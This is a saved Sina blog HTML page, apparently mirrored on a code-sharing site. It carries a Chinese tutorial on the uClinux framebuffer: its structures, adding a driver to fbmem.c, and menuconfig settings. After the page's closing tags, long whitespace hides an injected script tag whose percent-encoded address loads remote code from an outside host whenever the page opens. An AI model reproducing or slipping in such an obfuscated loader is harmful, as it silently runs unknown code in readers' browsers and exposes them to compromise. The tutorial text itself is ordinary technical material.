入门书童 - 新浪blog.htm

来自「S3C44B0X下的LCD (framebuffer)驱动资料与相关代码」· HTM 代码 · 共 413 行 · 第 1/2 页

HTM
413
字号
					   class="toggleLink icon collapseArraw center invisible"
					   href="javascript:void(0)"
					   title="展开或收缩模块"
					   toggle="componentContent">&nbsp;&nbsp;</a>--><SPAN 
            class="icon home" id=compIcon>&nbsp;&nbsp;</SPAN> <SPAN 
            id=titleText>最近更新的BLOG列表</SPAN></TD>
          <TD class=componentMenu id=componentMenu><A 
            class="icon refresh center invisible" id=refreshCompButton 
            href="javascript:void(0)">&nbsp;&nbsp;</A><A 
            class="adminComp center invisible" id=adminCompButton 
            href="javascript:void(0)"></A><A 
            class="icon closeComp center invisible" id=closeCompButton 
            href="javascript:void(0)">&nbsp;&nbsp;</A></TD></TR></TBODY></TABLE>
      <DIV class=componentHead id=componentHead></DIV>
      <DIV class=ccomponentTip id=componentTip></DIV>
      <DIV class=componentContent id=componentContent>
      <UL>
        <SCRIPT src="入门书童 - 新浪BLOG.files/article_index_new_static.js" 
        type=text/javascript></SCRIPT>
      </UL></DIV><!--componentContent-->
      <DIV class=componentFooter></DIV><!--componentFooter--></DIV></DIV><!-- {$box_2}--></TD><!--column_1--><!--gap is reserved for further usage such as munipulating page layout.-->
    <TD id=gap_1></TD>
    <TD id=column_2><!-- add dbid attribute.		by xp 07.07.05 --><!-- add adminCompButton.	chaoliang  7.7.29 -->
      <DIV class="component " id=blog_feeds dbid="">
      <DIV class=componentInnderBorder>
      <DIV class=componentSpecialArea id=componentSpecialArea></DIV>
      <TABLE class="toggleLink componentBar layout" id=componentBar 
      toggle="componentContent">
        <TBODY>
        <TR>
          <TD class=componentTitle id=componentTitle><!--<a toggle="componentContent" title="展开或收缩模块" href="javascript:void(0)" class="toggleLink icon collapseArraw center" id="collapseButton"> </a>--><SPAN 
            class="icon home" id=compIcon>&nbsp;&nbsp;</SPAN> <SPAN 
            id=titleText>内容</SPAN></TD>
          <TD class=componentMenu id=componentMenu><A 
            class="icon refresh center invisible" id=refreshCompButton 
            href="javascript:void(0)">&nbsp;&nbsp;</A><A 
            class="adminComp center invisible" id=adminCompButton 
            href="javascript:void(0)">管理</A><A 
            class="icon closeComp center invisible" id=closeCompButton 
            href="javascript:void(0)">&nbsp;&nbsp;</A></TD></TR></TBODY></TABLE>
      <DIV class=componentHead id=componentHead></DIV>
      <DIV class=ccomponentTip id=componentTip></DIV>
      <DIV class=componentContent id=componentContent>
      <DIV id=adminLinks>
      <DIV id=loadingText>数据加载中...</DIV>
      <DIV class=invisible id=guestPanel><A class=textIcon 
      href="http://blog.sina.com.cn/member/signup/reg_step1.php" 
      target=_blank>注册</A>┆<A class=textIcon id=login title="" 
      href="http://my.blog.sina.com.cn/login/login_top.php" 
      target=systemIframe>登录</A>┆<A class=textIcon id=newArticle 
      href="http://blog.sina.com.cn/control/writing/scriber/article_add.php?mode=1" 
      target=_blank>发表文章</A> </DIV></DIV>
      <SCRIPT 
      type=text/javascript>		var isCommentAllowedBySystem = true;</SCRIPT>

      <UL id=articleContainer>
        <LI>&nbsp; 
        <DIV class=toggleLink id=articleBar toggle="articleContentArea"><A 
        class="icon collapseArraw center" id=toggleButton 
        href="javascript:void(0)">&nbsp;</A> <!--Class name of articleTime specify 'sun' icon or 'moon' icon					in front of date-time text. Corresponding to class name 'sun' & 'moon'					--><A 
        id=articleTitle>uClinux&nbsp;的framebuffer简介/如何配置framebuffer</A> 
        <DIV id=articleBarButton><A class="Link icon modify center invisible" 
        id=edit href="javascript:void(0)">&nbsp;</A> <A 
        class="Link icon delete center invisible" id=delete 
        href="javascript:void(0)">&nbsp;</A> </DIV></DIV>
        <DIV id=articleContentArea>
        <DIV id=articleTimeHolder><SPAN class="sun icon textIcon" id=articleTime 
        style="BACKGROUND-POSITION: 2px 3px">2007-05-27 16:05:40</SPAN> </DIV>
        <DIV id=articleContentFontSize><A onclick="setArticleContentSize('b')" 
        href="javascript:%20void(0);">大</A> <A 
        onclick="setArticleContentSize('m')" href="javascript:%20void(0);" 
        )>中</A> <A onclick="setArticleContentSize('s')" 
        href="javascript:%20void(0);" )>小</A> </DIV>
        <DIV id=tagsArea></DIV>
        <DIV class=middleSize id=articleContent>
        <DIV>&nbsp; 
        <P align=left>下面的内容主要是关于framebuffer 
        的一些知识,主要是根据我们实际开发过程中的一些体会,其中难免错漏之处,欢迎指正。</P>
        <P align=left><B>什么是</B><B><FONT 
        face="Times New Roman">framebuffer</FONT></B> <B>设备</B></P>
        <P align=left>framebuffer 
        是一种能够提取图形的硬件设备,是用户进入图形界面很好的接口。有了framebuffer,用户的应用程序不需要对底层的驱动的深入了解就能够做出很好的图形。</P>
        <P align=left>对于用户而言,它和/dev 下面的其他设备没有什么区别,用户可以把</P>
        <P align=left>framebuffer 看成一块内存,既可以向这块内存中写入数据,也可以从这块内存中读取数据。</P>
        <P align=left>第一个被注册的framebuffer 的minor 等于0,第二个被注册的framebuffer</P>
        <P align=left>的minor 等于1,以此类推。</P>
        <P align=left><B><FONT face="Times New Roman">framebuffer</FONT></B> 
        <B>内部结构</B></P>
        <P align=left>数据结构:framebuffer 设备很大程度上依靠了下面四个数据结构。这三个结构在fb.h 中声明。</P>
        <P align=left>Struct fb_var_screeninfo</P>
        <P align=left>Struct fb_fix_screeninfo</P>
        <P align=left>Struct fb_info</P>
        <P align=left>第一个结构是用来描述图形卡的特性的。通常是被用户设置的。</P>
        <P align=left>第二个结构定义了图形卡的硬件特性,是不能改变的,用户选定了哪一个图形卡,那么它的硬件特性也就定下来了。</P>
        <P align=left>第三个结构定义了当前图形卡framebuffer 
        设备的独立状态,一个图形卡可能有两个framebuffer,在这种情况下,就需要两个fb_info 
结构。这个结构是唯一在内核空间可见的。</P>
        <P align=left><B>设计自己的</B><B><FONT 
        face="Times New Roman">framebuffer</FONT></B> <B>设备驱动</B></P>
        <P align=left>用户首先需要添加下面的代码到fbmem.c</P>
        <P align=left>static struct {</P>
        <P align=left>const char *name;</P>
        <P align=left>int (*init)(void);</P>
        <P align=left>int (*setup)(char*);</P>
        <P align=left>} fb_drivers[] __initdata = {</P>
        <P align=left>#ifdef CONFIG_FB_YOURCARD</P>
        <P align=left>{ "driver_name", xxxfb_init, xxxfb_setup },</P>
        <P align=left>#endif</P>
        <P align=left>其次在xxfb.c 中根据自己的需要重新分配显存大小。例如: #define</P>
        <P align=left>VIDEOMEMSIZE (1*1024*1024) /* 1 MB */</P>
        <P align=left>再次根据自己的硬件设备修改相应的var 信息。主要修改xxfb_set_var(struct</P>
        <P align=left>fb_var_screeninfo *var, int con, struct fb_info 
        *info)函数。</P>
        <P align=left><B>如何添加</B><B><FONT 
        face="Times New Roman">framebuffer</FONT></B> <B>设备驱动</B></P>
        <P align=left>在make menuconfig 的时候首先进入Character 
        devices,选中里面的Virtualterminal.如果希望控制台在液晶上输出,则选中Support for console on 
        virtual terminal<FONT color=#3c3cc4>。( 在用户配置中,shell<FONT size=3><FONT 
        size=2>选用<FONT face="Times New Roman">msh</FONT>(<FONT 
        face="Times New Roman">minix shell),</FONT>在<FONT 
        face="Times New Roman">rc</FONT>中放入一条<FONT face="Times New Roman">sh 
        &lt; /dev/ttyS0</FONT>,当console起来后,就可以通过串口输入的键值,输入会显示输出在<FONT 
        face="Times New Roman">LCD</FONT>上了。)</FONT></FONT></FONT></P>
        <P align=left>退到上一层界面我们就可以看到Console device 的选项,进入后将光标落在Framebuffer 
        Support 上,按回车键进入,在里面选择自己所需要的framebuffer设备即可。自己所添加的设备驱动的类型(如果在uclinux 
        下,应该以*选中,而不是M 选中),在编译的时候就会产生相应的.o 文件。</P>
        <P align=left>在Advanced low level 中可以配置bpp packed pixel 
        support,根据你的屏进行选择,例如256色STN屏选择8 bpp,16级灰度屏选择4 bpp等。然后选中Select 
        compiled-in fonts 即可。</P>
        <P align=left>操作系统运行以后就会在/dev 下面看到fb这个设备。它的major 
        设备号应该是29,第一个设备的minor应该是0。</P>
        <P align=left><B>如何使用</B><B><FONT 
        face="Times New Roman">framebuffer</FONT></B> <B>设备</B></P>
        <P 
        align=left>我们可以在几个支持图形显示的平台上开发一些图形界面。例如microwindows,minigui,Qtembed,等等</P></DIV>
        <DIV class=invisible id=reference>文章引用自:<A 
        href="http://blog.sina.com.cn/s/" target=_blank></A> </DIV></DIV>
        <DIV id=articleUtil><A id=comments 
        href="http://blog.sina.com.cn/s/comment_58069615010009ft_1.html" 
        target=contentIframeLink>评论(<SPAN id=commentsNum></SPAN>)</A> <A 
        id=quote 
        href="http://blog.sina.com.cn/control/writing/scriber/article_add_by_quote.php?blog_id=58069615010009ft" 
        target=_blank>引用</A> <A id=views 
        href="http://blog.sina.com.cn/myblog/article/article_reader.php?blog_id=58069615010009ft" 
        target=_blank>阅读(<SPAN id=viewNum></SPAN>)</A> <A id=circle 
        href="http://blog.sina.com.cn/s/circleinfo_58069615010009ft_1.html" 
        target=contentIframeLink>圈子</A> <A class=invisible id=edit 
        href="http://my.blog.sina.com.cn/writing/scriber/article_edit.php?mode=1&amp;blog_id=58069615010009ft" 
        target=_blank>编辑</A> <A id=views 
        href="http://blog.sina.com.cn/myblog/article/article_print.php?blog_id=58069615010009ft" 
        target=_blank>打印</A> <A class=noSplit id=report 
        onclick="window.open('/advice/impeach.php?url=' + escape('http://blog.sina.com.cn/u/58069615010009ft'), '', 'width=510,height=495,left=' + (window.screen.width-538)/2 + ',top=' + (window.screen.height-525)/2);" 
        href="javascript:void(0);">有奖举报</A> </DIV></DIV></LI></UL>
      <SCRIPT id=hitsUrl src="入门书童 - 新浪BLOG.files/hits.htm" 
      type=text/javascript></SCRIPT>
      <A class=iframeUrlHolder id=contentIframeLink title=... 
      href="http://blog.sina.com.cn/s/comment_58069615010009ft_1.html">数据加载中...</A>
      <SCRIPT>preProcedure();</SCRIPT>
       </DIV><!--componentContent-->
      <DIV class=componentFooter></DIV><!--componentFooter--></DIV></DIV></TD><!--column_2-->
    <TD id=gap_2></TD>
    <TD id=column_3></TD><!--column_3-->
    <TD id=gap_3></TD>
    <TD id=column_4></TD><!--column_4-->
    <TD id=contentRight></TD><!--contentRight--></TR>
  <TR>
    <TD id=contentBottom colSpan=9></TD></TR></TBODY></TABLE><!--contentLayout-->
<TABLE class="layout pageLayout" id=footerLayout>
  <TBODY>
  <TR>
    <TD id=footerLeft></TD>
    <TD id=footerContent></TD>
    <TD id=footerRight></TD></TR></TBODY></TABLE><!--footerLayout--></DIV><!--innerBound--></DIV><!--outBound--><!--a div for special use. such as page blocker, module dialog holder-->
<DIV id=special>
<DIV id=bg></DIV>
<DIV class=systemDialog id=systemDialog>
<DIV id=systemDialogBar>
<DIV class=title id=title></DIV><!--~title~-->
<DIV id=buttons><!-- <a id="close" class="icon block closeComp" href="javascript:void(0)" title="关闭对话框">&nbsp;</a> --><A 
id=close title=关闭对话框 href="javascript:void(0)">&nbsp;</A> </DIV></DIV><IFRAME 
class="" id=systemIframe name=systemIframe src="about:blank" frameBorder=0 
scrolling=no allowTransparency>		</IFRAME>
<DIV id=systemDialogFoot><IFRAME style="WIDTH: 100%; HEIGHT: 30px" 
src="入门书童 - 新浪BLOG.files/16.htm" frameBorder=0 scrolling=no 
allowTransparency></IFRAME></DIV></DIV><!--~systemDialog~--></DIV><!-- 发纸条,加好友专用的对话框组件 -->
<DIV id=bcDialogBox 
style="DISPLAY: none; BACKGROUND: #000; LEFT: 0px; POSITION: absolute; TOP: 0px" 
onclick=Event.stop(event);>
<DIV id=bcDialogShadow 
style="BACKGROUND: #000; FILTER: alpha(opacity=20); LEFT: 0px; POSITION: absolute; TOP: 0px; moz-opacity: 0.2; opacity: 0.2"></DIV>
<DIV id=bcDialogFrameBox></IFRAME></DIV></DIV><!-- 结束标签 -->
<SCRIPT>loadResource();</SCRIPT>

<SCRIPT language=javascript src="入门书童 - 新浪BLOG.files/680.js" 
type=text/javascript></body></html></SCRIPT>
</BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?